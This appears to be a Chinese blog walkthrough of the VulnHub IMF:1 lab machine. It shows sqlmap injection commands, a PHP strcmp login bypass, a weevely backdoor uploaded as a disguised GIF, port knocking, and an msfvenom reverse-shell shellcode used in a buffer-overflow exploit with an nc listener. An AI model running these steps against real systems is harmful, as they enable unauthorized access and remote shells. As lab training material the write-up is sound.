VulnHub靶场篇8-IMF:1

靶机地址:IMF:1 ~ VulnHub
难易程度:5.5 / 10.0

文章简要记录渗透靶机每一个过程,对于渗透过程中的每一步并非十分的详细,其中部分内容会有错,望读者指出错误,谢谢!

摘要:扫描端口只有一个80http服务端口,对页面检查分别发现两个flag,在/imfadministrator目录下发现登录表单,根据提示利用PHPstrcmp的特性进行了绕过,进入cms.php页面,发现其下不同页面是通过get参数请求的,使用sqlmap跑出它的目录结构,发现了一个隐藏页面,得到一个upload页面,使用weevely工具进行文件上传获取低权限用户,最后再通过PWN掉agent程序得到root权限。

主机探测&端口扫描

靶机ip为:192.168.1.18

端口扫描结果:

hhh@Kali2020:~$ sudo nmap -sS -sV -A -T5 -p- 192.168.1.18
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-01 14:51 CST
Nmap scan report for imf (192.168.1.18)
Host is up (0.00022s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 08:00:27:33:EC:5A (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.22 ms imf (192.168.1.18)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.04 seconds

信息搜集

80端口 http服务

  1. 在contact.php页面源码中发现了flag1
flag1{YWxsdGhlZmlsZXM=}

顺便base64解码下:allthefiles

  1. 在F12中进行检查,网络中的一些文件名比较可疑可以组成base64码, ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==,进行解码得到flag2
flag2{aW1mYWRtaW5pc3RyYXRvcg==}

再顺便解码下:imfadministrator

yZsjf0.png

  1. 进入到/imfadministrator目录下,发现一个登录表单

8_02.jpg

  1. 直接丢sqlmap跑它,发现并没有用
sqlmap -o -u "http://192.168.1.18/imfadministrator/" --forms --dbs
  1. 使用burpsuite抓包康康
    查看该页面源代码,可以得到提示信息, 也就是说通常使用==strcmp在php中进行比较区分不同大小写字符串,但是strcmp有个特点,就是当字符串和数组进行比较时,函数返回0,我们这里可以将pass换成pass[],很巧妙的绕过了!

    <!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
    

8_03.jpg

这里将用户名改为之前在contact页面上的一个人名rmichaels,再将pass改为pass[],成功获得flag3

flag3{Y29udGludWVUT2Ntcw==}

解码为:continueTOcms

8_04.jpg

  1. 前往该网站,发现url中的参数可以用sqlmap跑
  2. sqlmap跑该参数

方法一:保存抓取的包,跑该包

sqlmap -r cmssql --risk=3 --level=5 --dbs --dump --batch --threads=10

-r:指定请求文件
--risk=3:指风险等级为3,增加OR语句的SQL注入测试
--level=5:表示当前扫描的等级,会测试HTTP Cookie头的值和User-Agent及HTTP Reference头的值
--dbs:列出所有的数据库
--dump:获取转存整个表的信息
--batch:自动按照默认值运行下去,用户无需输入
--threads=10:指定线程为10?

方法二:对网站直接跑

sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 --dbs --batch --random-agent

sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 -D admin --tables --batch --random-agent

sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 -D admin -T pages --columns --batch --random-agent

sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 -D admin -T pages -C id,pagedata,pagename --batch --random-agent --dump

或者直接可以一步
sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 --dbs --batch --dump

可以看到在该数据库内有一个/tutorials-incomplete目录,前往

http://192.168.1.18/imfadministrator/cms.php?pagename=tutorials-incomplete

扫描图片中的二维码可以找到flag4

flag4{dXBsb2Fkcjk0Mi5waHA=}

解码为:uploadr942.php

  1. 前往该页面
http://192.168.1.18/imfadministrator/uploadr942.php

权限获取

该网页是一个文件上传

途径一:使用weevely工具

相关资料:
Weevely(php菜刀)工具使用详解 - FreeBuf网络安全行业门户
Weevely (Linux中的菜刀)_Mr. Anonymous的博客-CSDN博客_weevely

  1. 生成php后门文件
weevely generate mima123 backdoor.php

基本语法:weevely generate 密码 文件名

  1. 修改gif文件,并在其内容首行增加GIF3499aa09(随机值)

  2. 讲该gif文件上传,查看源代码,在注释处有一串码,为连接的文件名

  3. 使用weevely工具进行连接

weevely http://192.168.1.14/imfadministrator/uploads/bc9c4c4bf549.gif mima123
  1. 成功获取到低权限用户,浏览目录发现flag5
flag5{YWdlbnRzZXJ2aWNlcw==}

解码为:agentservices

权限提升

根据提示搜索agent服务,前往agent目录下

www-data@imf: $ whereis agent
agent: /usr/local/bin/agent
www-data@imf:/usr/local/bin $ ls
access_codes
agent

运行agent,检查有代理在运行,是7788端口,但是kali扫描不到该端口,需要端口碰撞

./agent
netstat -ant

该目录下的access_codes文件正好是端口序列,使用knock工具进行连接
GitHub - grongor/knock: Simple python port knocking client

./knock 192.168.1.18 7482 8279 9467

这是kali就可以扫描到该端口了

在 weevely shell上将该agent文件放到网站下,便于我们直接获取

cp /usr/local/bin/agent /var/www/html/imfadministrator
wget http://192.168.1.18/imfadministrator/agent

方法一

这里相当于是一个PWN题,不是很熟,暂时就先将步骤直接操作了一遍,具体的原理需要慢慢研究

  1. 下载脚本
    https://raw.githubusercontent.com/jessekurrus/agentsploit/master/agentsploit.py

  2. 生成自己kali的shellcode

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.15 LPORT=4448 -f python -b "\x00\x0a\x0d"
  1. 将shellcode进行替换,下面那部分
buf =  ""
buf += "\xba\xf9\x03\x07\x8f\xd9\xe5\xd9\x74\x24\xf4\x5b\x31"
buf += "\xc9\xb1\x12\x31\x53\x12\x03\x53\x12\x83\x12\xff\xe5"
buf += "\x7a\xd5\xdb\x1d\x67\x46\x9f\xb2\x02\x6a\x96\xd4\x63"
buf += "\x0c\x65\x96\x17\x89\xc5\xa8\xda\xa9\x6f\xae\x1d\xc1"
buf += "\xaf\xf8\xdf\x1e\x58\xfb\xdf\x31\xf8\x72\x3e\x81\x9e"
buf += "\xd4\x90\xb2\xed\xd6\x9b\xd5\xdf\x59\xc9\x7d\x8e\x76"
buf += "\x9d\x15\x26\xa6\x4e\x87\xdf\x31\x73\x15\x73\xcb\x95"
buf += "\x29\x78\x06\xd5"
  1. 监听端口4448
nc -lnvp 4448
  1. 执行exp代码
python exp.py 192.168.1.18 7788

连接成功,访问得到flag6

flag6{R2gwc3RQcm90MGMwbHM=}

解码为:Gh0stProt0c0ls

root@imf:/root# cat TheEnd.txt
   ____                        _ __   __   
  /  _/_ _  ___  ___  ___ ___ (_) /  / /__ 
 _/ //  ' \/ _ \/ _ \(_-<(_-</ / _ \/ / -_)
/___/_/_/_/ .__/\___/___/___/_/_.__/_/\__/ 
   __  __/_/        _                      
  /  |/  (_)__ ___ (_)__  ___              
 / /|_/ / (_-<(_-</ / _ \/ _ \             
/_/__/_/_/___/___/_/\___/_//_/             
  / __/__  ___________                     
 / _// _ \/ __/ __/ -_)                    
/_/  \___/_/  \__/\__/                     
                                           
Congratulations on finishing the IMF Boot2Root CTF. I hope you enjoyed it.
Thank you for trying this challenge and please send any feedback.

Geckom
Twitter: @g3ck0ma
Email: geckom@redteamr.com
Web: http://redteamr.com

Special Thanks
Binary Advice: OJ (@TheColonial) and Justin Stevens (@justinsteven)
Web Advice: Menztrual (@menztrual)
Testers: dook (@dooktwit), Menztrual (@menztrual), llid3nlq and OJ(@TheColonial)

总结

  1. burpsuite
  2. PHP strcmp特性
  3. sqlmap跑目录名
  4. 文件上传
  5. weevely工具
  6. 端口碰撞
  7. PWN

参考

VulnHub: Разбор IMF 1 и очередное переполнение буфера / Habr

Vulnhub-靶机-IMF: 1 - 白帽安全技术复现 - 博客园 (cnblogs.com)

IMF Walkthrough (VulnHub) – Digitalmunition

No.8-VulnHub-IMF: 1-Walkthrough渗透学习_大余xiyou的博客-CSDN博客

https://www.youtube.com/watch?v=Hxu668hgmnA&feature=youtu.be

posted @ 2021-02-02 11:56  labster  阅读(835)  评论(0编辑  收藏  举报